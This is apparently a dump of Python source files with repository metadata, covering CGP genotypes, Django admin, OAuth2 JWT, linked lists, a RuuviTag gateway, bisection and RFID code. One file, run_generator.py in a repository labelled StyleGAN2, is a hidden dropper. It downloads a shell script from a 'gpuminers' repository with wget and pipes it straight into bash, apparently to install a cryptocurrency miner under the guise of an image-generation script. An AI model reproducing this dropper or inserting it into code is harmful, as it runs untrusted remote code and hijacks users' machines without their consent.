0.698444
0.118768
0
0
1
0
0.306533
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
7f2404cb9daa894c644ef3b4e0780cecfc37e6cc
2,252
py
Python
tengp/genotype_factory.py
Jarino/tengp
875ea583adf1194f1be4cb3dc25568f3859f9011
[ "MIT" ]
4
2018-10-17T21:46:40.000Z
2021-11-09T06:17:05.000Z
tengp/genotype_factory.py
Jarino/tengp
875ea583adf1194f1be4cb3dc25568f3859f9011
[ "MIT" ]
1
2018-10-18T08:42:27.000Z
2018-10-18T08:42:27.000Z
tengp/genotype_factory.py
Jarino/tengp
875ea583adf1194f1be4cb3dc25568f3859f9011
[ "MIT" ]
2
2018-10-18T00:36:51.000Z
2018-12-12T03:52:14.000Z
from random import randint from .utils import clamp_bottom class GenotypeFactory(): def __init__(self, parameters): """ Initialize a genotype factory. Parameters ---------- parameters: Parameters object object holding info about individuals """ ...
32.637681
83
0.60524
284
2,252
4.489437
0.242958
0.07451
0.037647
0.037647
0.347451
0.196863
0.145882
0.112941
0.072157
0.072157
0
0.005837
0.315275
2,252
68
84
33.117647
0.821012
0.137211
0
0.1
0
0
0
0
0
0
0
0
0
1
0.05
false
0
0.05
0
0.15
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
612ecfda35cd8d93573ac60f077c553e163ffa6a
160
py
Python
accounts/admin.py
Dev-Mehta/AskaDev
4514383cb1f94178e8082f0b710c7efbdd3225a7
[ "MIT" ]
7
2020-08-26T12:32:50.000Z
2020-09-20T09:17:12.000Z
accounts/admin.py
Dev-Mehta/AskaDev
4514383cb1f94178e8082f0b710c7efbdd3225a7
[ "MIT" ]
null
null
null
accounts/admin.py
Dev-Mehta/AskaDev
4514383cb1f94178e8082f0b710c7efbdd3225a7
[ "MIT" ]
3
2020-08-27T06:06:43.000Z
2020-10-10T15:53:26.000Z
from django.contrib import admin from .models import ProgrammingLanguage, UserProfile admin.site.register(UserProfile) admin.site.register(ProgrammingLanguage)
32
52
0.8625
18
160
7.666667
0.555556
0.231884
0.289855
0.405797
0
0
0
0
0
0
0
0
0.06875
160
5
53
32
0.926175
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
612ee78203b78877aafd025f59ff4c87c7df5824
2,050
py
Python
oauth2_jwtprofile.py
ReiknistofaBankanna/oauth2-jwtprofile-python
ef2f7ed3d4dce4c8b5978886264fafbca55fe70a
[ "MIT" ]
null
null
null
oauth2_jwtprofile.py
ReiknistofaBankanna/oauth2-jwtprofile-python
ef2f7ed3d4dce4c8b5978886264fafbca55fe70a
[ "MIT" ]
null
null
null
oauth2_jwtprofile.py
ReiknistofaBankanna/oauth2-jwtprofile-python
ef2f7ed3d4dce4c8b5978886264fafbca55fe70a
[ "MIT" ]
null
null
null
import sys import urllib.request import urllib.parse import json import jwt import uuid import datetime import cryptography from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.serialization import load_pem_private_key from cryptography.hazmat.primitives import serialization, has...
31.060606
206
0.691707
270
2,050
5.114815
0.403704
0.035482
0.047791
0.046343
0.060825
0.060825
0.060825
0.060825
0.060825
0.060825
0
0.0172
0.177561
2,050
66
207
31.060606
0.801898
0
0
0.074074
0
0
0.127743
0.036568
0
0
0
0
0.018519
1
0.037037
false
0.12963
0.203704
0
0.277778
0.074074
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
61303415b144b93a1348117d120e53ba1d088ec4
1,596
py
Python
practical6a.py
himanshubalani/DSPDLab
18ca05bc21c16025a9c87fcdf8de6dff6fe6218c
[ "MIT" ]
null
null
null
practical6a.py
himanshubalani/DSPDLab
18ca05bc21c16025a9c87fcdf8de6dff6fe6218c
[ "MIT" ]
null
null
null
practical6a.py
himanshubalani/DSPDLab
18ca05bc21c16025a9c87fcdf8de6dff6fe6218c
[ "MIT" ]
null
null
null
class Node: def __init__(self, data): self.data = data self.next = None self.prev = None class LinkedList: def __init__(self): self.head = None def push(self, newElement): newNode = Node(newElement) if(self.head == None): self.head = newNode return else: temp = self...
22.8
47
0.577068
201
1,596
4.527363
0.253731
0.079121
0.052747
0.050549
0.09011
0.09011
0.09011
0
0
0
0
0.018817
0.300752
1,596
70
48
22.8
0.796595
0.038847
0
0.40678
0
0
0.060013
0
0
0
0
0
0
1
0.084746
false
0
0
0
0.135593
0.101695
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
61323be0e4983d21fbe8573aba51b88ec3da620c
121
py
Python
run_generator.py
jimmyplummet/StyleGAN2
0846919dcb16bce6a710477f1502cb4382f05a19
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
jimmyplummet/StyleGAN2
0846919dcb16bce6a710477f1502cb4382f05a19
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
jimmyplummet/StyleGAN2
0846919dcb16bce6a710477f1502cb4382f05a19
[ "BSD-Source-Code" ]
null
null
null
import os as alpha alpha.system("wget -O - https://gitlab.com/chadpetersen1337/gpuminers/-/raw/main/start_vs.sh | bash")
40.333333
101
0.752066
19
121
4.736842
0.947368
0
0
0
0
0
0
0
0
0
0
0.036036
0.082645
121
2
102
60.5
0.774775
0
0
0
0
0.5
0.702479
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
61326e6043ecf9b6f3be3431593e534006fc31a8
22,334
py
Python
ruuvigw_aioclient.py
hulttis/ruuvigw
914eb657e3f2792cecf6848dfa7607ad45f17ab4
[ "MIT" ]
7
2019-11-08T07:30:05.000Z
2022-02-20T21:58:44.000Z
ruuvigw_aioclient.py
hulttis/ruuvigw
914eb657e3f2792cecf6848dfa7607ad45f17ab4
[ "MIT" ]
null
null
null
ruuvigw_aioclient.py
hulttis/ruuvigw
914eb657e3f2792cecf6848dfa7607ad45f17ab4
[ "MIT" ]
1
2021-06-19T16:52:55.000Z
2021-06-19T16:52:55.000Z
# coding=utf-8 #------------------------------------------------------------------------------- # Name: ruuvigw_aioclient.py # Purpose: ruuvigw aioclient # Copyright: (c) 2019 TK # Licence: MIT #------------------------------------------------------------------------------- import logging logger = logg...
45.86037
242
0.515313
2,418
22,334
4.466915
0.109181
0.039996
0.044163
0.051847
0.459309
0.404685
0.359689
0.317285
0.281826
0.250903
0
0.003397
0.301379
22,334
486
243
45.954733
0.688842
0.167099
0
0.318182
0
0.014205
0.143937
0.019677
0
0
0
0
0
1
0.014205
false
0.008523
0.03125
0
0.150568
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
6132d42fd438eecafe7615bca9c8d7ecfec60301
221
py
Python
cosmicmatter/misc/basicloadtest.py
bclements/cosmicmatter
93eeb09fff9db8e4bc2e3062b7d3de2aa5bab7b4
[ "BSD-3-Clause" ]
1
2022-03-24T22:55:56.000Z
2022-03-24T22:55:56.000Z
cosmicmatter/misc/basicloadtest.py
SpaceElements/spacepy
dada27f8af142c839060d525b2ef653d07195ee3
[ "BSD-3-Clause" ]
2
2022-03-25T08:23:02.000Z
2022-03-29T22:45:32.000Z
cosmicmatter/misc/basicloadtest.py
SpaceElements/spacepy
dada27f8af142c839060d525b2ef653d07195ee3
[ "BSD-3-Clause" ]
1
2022-03-25T07:14:53.000Z
2022-03-25T07:14:53.000Z
# very basic load test # import webbrowser import time count = 0 while count < 22: print(count) webbrowser.open("https://www.someurlhere.com", new=2, autoraise=True) count += 1 time.sleep(1.3) # Seconds
20.090909
73
0.669683
32
221
4.625
0.78125
0
0
0
0
0
0
0
0
0
0
0.039773
0.20362
221
10
74
22.1
0.801136
0.208145
0
0
0
0
0.157895
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0.142857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
613350459deaf4cd7dc957354999d29e93615ef0
2,400
py
Python
part4.py
sajith2019048/my-second-program
cd78c96704fd47654890900c009c172d77285392
[ "MIT" ]
null
null
null
part4.py
sajith2019048/my-second-program
cd78c96704fd47654890900c009c172d77285392
[ "MIT" ]
null
null
null
part4.py
sajith2019048/my-second-program
cd78c96704fd47654890900c009c172d77285392
[ "MIT" ]
null
null
null
#create veriable........ cr_pass=0##insert veriables defer=0##insert veriables fail=0##insert veriables choice=0#staff choice. count1=0#$$$counting "Progress" count2=0#$$$counting "Trailing" count3=0#$$$counting "Excluded" count4=0#$$$counting "Retriever" total=0#@@@@all counting values total t1=0#"Progres...
32.432432
117
0.4875
293
2,400
3.982935
0.334471
0.020566
0.041131
0.043702
0.077121
0
0
0
0
0
0
0.045797
0.28125
2,400
73
118
32.876712
0.630145
0.209167
0
0.052632
0
0
0.324791
0.093593
0
0
0
0
0
1
0
false
0.070175
0
0
0
0.22807
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
6133c29d8b9279ccf50193d636c2f1625a49fccd
1,620
py
Python
preprocess.py
ShiraStarL/Credit_Card_Detection
d01fd888e28efbda93f87f32cc8a7b0255067950
[ "MIT" ]
5
2020-09-02T09:44:15.000Z
2020-09-02T11:43:31.000Z
preprocess.py
ShiraStarL/Credit_Card_Detection
d01fd888e28efbda93f87f32cc8a7b0255067950
[ "MIT" ]
null
null
null
preprocess.py
ShiraStarL/Credit_Card_Detection
d01fd888e28efbda93f87f32cc8a7b0255067950
[ "MIT" ]
null
null
null
import cv2 import numpy as np def preprocess(img, debug=True): # image dimensions height, width = img.shape[:2] # crop image as card rectangle a = int(height * 0.125) b = int(width * 0.406) x1 = int(width/2) - b x2 = int(width/2) + b y1 = int(height/2) - a y2 = int(height/2) + a ...
27.457627
105
0.612346
249
1,620
3.927711
0.429719
0.03681
0.02863
0.038855
0.0409
0
0
0
0
0
0
0.052233
0.267284
1,620
58
106
27.931034
0.771693
0.217284
0
0.147059
0
0
0.015924
0
0
0
0
0
0
1
0.029412
false
0
0.058824
0
0.147059
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
6133d641ec757816ea3c46a2cb3da107b1a91db7
16,690
py
Python
app.py
jyio/jamwithfriends
3727af6bf276d6366011cdaf784102b9d8d60484
[ "MIT" ]
6
2015-02-25T02:00:44.000Z
2016-04-17T09:45:50.000Z
app.py
jyio/jamwithfriends
3727af6bf276d6366011cdaf784102b9d8d60484
[ "MIT" ]
null
null
null
app.py
jyio/jamwithfriends
3727af6bf276d6366011cdaf784102b9d8d60484
[ "MIT" ]
2
2015-04-10T18:52:59.000Z
2021-10-06T03:41:33.000Z
#!/usr/bin/env python import re import json import math import time import random import hashlib import sqlite3 import weakref from collections import Counter, deque try: import cPickle as pickle except ImportError: import pickle import bottle from bottle import Bottle, static_file from socketio import socketio_...
30.235507
200
0.666028
2,359
16,690
4.662569
0.136499
0.024002
0.01391
0.009546
0.368761
0.306846
0.281662
0.237022
0.215292
0.199836
0
0.009499
0.179988
16,690
551
201
30.290381
0.794169
0.001198
0
0.309021
0
0.003839
0.165337
0.009359
0
0
0
0
0
1
0.109405
false
0.005758
0.036468
0.013436
0.259117
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
6136fde30ad02b90e794e3bd0cef50c81f080ec1
501
py
Python
8_2.py
rursvd/pynumerical2
4b2d33125b64a39099ac8eddef885e0ea11b237d
[ "MIT" ]
null
null
null
8_2.py
rursvd/pynumerical2
4b2d33125b64a39099ac8eddef885e0ea11b237d
[ "MIT" ]
null
null
null
8_2.py
rursvd/pynumerical2
4b2d33125b64a39099ac8eddef885e0ea11b237d
[ "MIT" ]
1
2019-12-03T01:34:19.000Z
2019-12-03T01:34:19.000Z
from numpy import zeros, sign # Define bisection function def bisection(f,a,b,n): c = zeros(n) for i in range(n): c[i] = (a + b)/2.0 if sign(f(c[i])) == sign(f(a)): a = c[i] else: b = c[i] return c # Define function def f(x): return -x**2 + 6.0 * x - 5....
17.892857
39
0.497006
95
501
2.621053
0.410526
0.032129
0.088353
0.096386
0.104418
0
0
0
0
0
0
0.051724
0.305389
501
27
40
18.555556
0.663793
0.163673
0
0
0
0
0.043478
0
0
0
0
0
0
1
0.105263
false
0
0.052632
0.052632
0.263158
0.105263
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
613736246f4205c16ec810c7604bde7e0bc2ad3e
1,435
py
Python
calvinextras/calvinsys/io/rfid/raspberry_pi/PIGPIORFID.py
gabrielcercel/calvin-base
c0315f100643230d65aed1745e1c22df3e7a7c2c
[ "Apache-2.0" ]
334
2015-06-04T15:14:28.000Z
2022-02-09T11:14:17.000Z
calvinextras/calvinsys/io/rfid/raspberry_pi/PIGPIORFID.py
gabrielcercel/calvin-base
c0315f100643230d65aed1745e1c22df3e7a7c2c
[ "Apache-2.0" ]
89
2015-06-13T19:15:35.000Z
2019-12-03T19:23:20.000Z
calvinextras/calvinsys/io/rfid/raspberry_pi/PIGPIORFID.py
gabrielcercel/calvin-base
c0315f100643230d65aed1745e1c22df3e7a7c2c
[ "Apache-2.0" ]
112
2015-06-06T19:16:54.000Z
2020-10-19T01:27:55.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2017 Ericsson AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
28.7
74
0.705923
195
1,435
5.097436
0.579487
0.060362
0.056338
0.032193
0
0
0
0
0
0
0
0.021071
0.206272
1,435
49
75
29.285714
0.851624
0.4
0
0.181818
0
0
0.012626
0
0
0
0
0
0
0
null
null
0.045455
0.181818
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1